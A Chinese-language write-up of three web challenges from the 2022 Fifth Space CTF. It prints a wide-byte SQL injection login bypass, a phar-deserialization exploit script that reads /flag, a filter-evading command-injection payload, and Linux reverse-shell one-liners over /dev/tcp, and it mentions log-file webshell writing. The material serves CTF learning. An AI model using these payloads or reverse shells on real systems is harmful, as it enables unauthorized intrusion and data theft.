2022第五空間-web部分wp+復盤總結

打了一天,麻了,大佬tql,這次get到了不少東西,一是一個不太常見的寬位元組注入,我是真的沒想到,而且後面也是看了wp理解了好一會才弄明白。

0x01:

題目是一個登錄框,但是基本上是過濾掉了所有的常見注入的關鍵詞。實在是沒思路,後面看了大佬wp,才發現是寬位元組注入,同時還要利用虛擬表,同時還有mysql的hex編碼。
payload:

admin%df%27%09ununionion%09selselectect%091,2,0×6531306164633339343962613539616262653536653035376632306638383365#&password=123456

其中 0x6531306164633339343962613539616262653536653035376632306638383365 為 password=123456d的hex(md5(password)) 利用雙寫+寬位元組構造payload。
123456加密後的md5:e10adc3949ba59abbe56e057f20f883e
因為寬位元組的問題所以利用mysql 的hex編碼一下:
1663650389820.png

0x02:

一個phar讀取flag的操作,遇到這題的時候,phar差不多已經忘光了,首先掃目錄得到www.zip 拿到源碼進行簡單的審計:
開始以為是文件上傳,後面一看發現是構造phar直接讀。
得到class.php

<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

構造payload:

<?php
class upload{
    public $filename = "/flag";
}
#new Phar()這裡定義了生成的phar文件的名字(這裡定義的時候後綴是一定要.phar)
#實際上生成後後綴名也可以改(比如awsl.awsl也行),標誌該文件是phar文件的是下面的__HALT那裡
$phar =new Phar("awsl.phar"); 
$phar->startBuffering();
#這裡XXX的內容隨便寫,注意後面的XXX如果不用;來和__HALT分割記得留個空格隔開(個人覺得後面XXX還是寫個PHP語句好,省點麻煩)
#__HXXXX(注釋里直接用全稱會被識別)這一節在這個setStub這裡必須保證這個為結尾而且不可省,標誌這個為phar文件
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>"); 
#把要序列化的變數申明好(這裡只知道能放序列化的一個變數,不知道怎麼放多個(或許單個文件只能放一個序列化的變數))
$a = new upload();
#將目標變數存入(這裡自動把它序列化了)
$phar->setMetadata($a); 
#這裡會按照文件名,文件內容的形式打包到phar文件中,當使用phar://awsl.phar://test.txt就會類似用include包含後面定義的程式碼(這裡文件名不影響是否解析 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

phar反序列化知識點可以看一下這篇文章:利用phar擴展PHP反序列化漏洞

放到本地運行一下,這裡記得需要在你PHP版本目錄下的php.ini文件裡面把
phar.readonly = off 這一行的注釋給去掉,並且改成off
1663650977725.png
在本地運行php後,目錄下會生成一個.phar的文件 因為phar是可以隨便修改為jpg png gif的,所以這裡直接隨便改個後綴,然後上傳 再讀取的時候 get傳參 phar://upload/文件名.jpg 即可得到flag

0x03:

一個有趣的RCE
打開發現有個ping 操作。 結合經驗猜測是rce
1663651350491.png
爆破一下帳號密碼,得到帳號:admin 密碼:admin123
1663651524894.png
登錄後發現一樣的,也是ban掉了很多關鍵詞,利用字典fuzz 一波 這裡給大家推薦一個字典:Web Pentesting Fuzz 字典,一個就夠了。
這裡看到 %0a可以繞過。
1663651642650.png
這裡利用tac%09index.php 查看源碼
1663651761130.png
發現這裡過濾了好多命令,看到可疑的目錄kylin 但是他把kylin給ban了,構造通配符直接進行flag的讀取。
payload:

?ip=%0Acd%09ky?in%0aca\t%09*
成功得到flag:
1663651911756.png
構造其他payload可以大家可以參考一下這篇:RCE漏洞之繞過

總結:

這次還是學到不少東西,最後成績28,web隊里師傅們ak了 但是最後那個sql注入我是現在還沒看懂,所以就沒總結了。收穫蠻大的。擴展了不少的思路,get到了大佬平時的思路,rce的那題,讀文件的時候,隊里師傅寫了個一句話木馬上去,ban了那麼多關鍵詞,我是怎麼也想不到怎麼寫上去的。按我平時的思路就是,利用常見的命令 例如echo命令寫馬,但ban掉了不少東西, 同時,/也被ban了,進目錄是沒法搞的。但是大佬的思路是啥,日誌寫馬,日誌寫馬倒也是想到過,可是我/給我ban掉了,當時就沒想到怎麼給進目錄,那麼自然也就沒法寫馬了,完了請教大佬的時候,大佬給我的是這樣的:
1663652370067.png
思路是這樣的,但是這個繞過屬實是騷操作了。
1663652403014.png
另外還get到一個思路,就是平常的rce 如果是沒有過濾掉管道符這種,可以直接利用反彈shell,直接讀flag
具體操作
1663652577034.png
這是linux的一些反彈shell的命令,windows的大家可以自行百度。
常用的比如:

/bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
等等,騷操作還有不少,還有一些空格的繞過之類的操作。可以百度一下,有不少文章可以借鑒參考。
思路真的很重要,有時候你只能卡在一個地方走不了, 而大佬可以各種騷操作繞過等。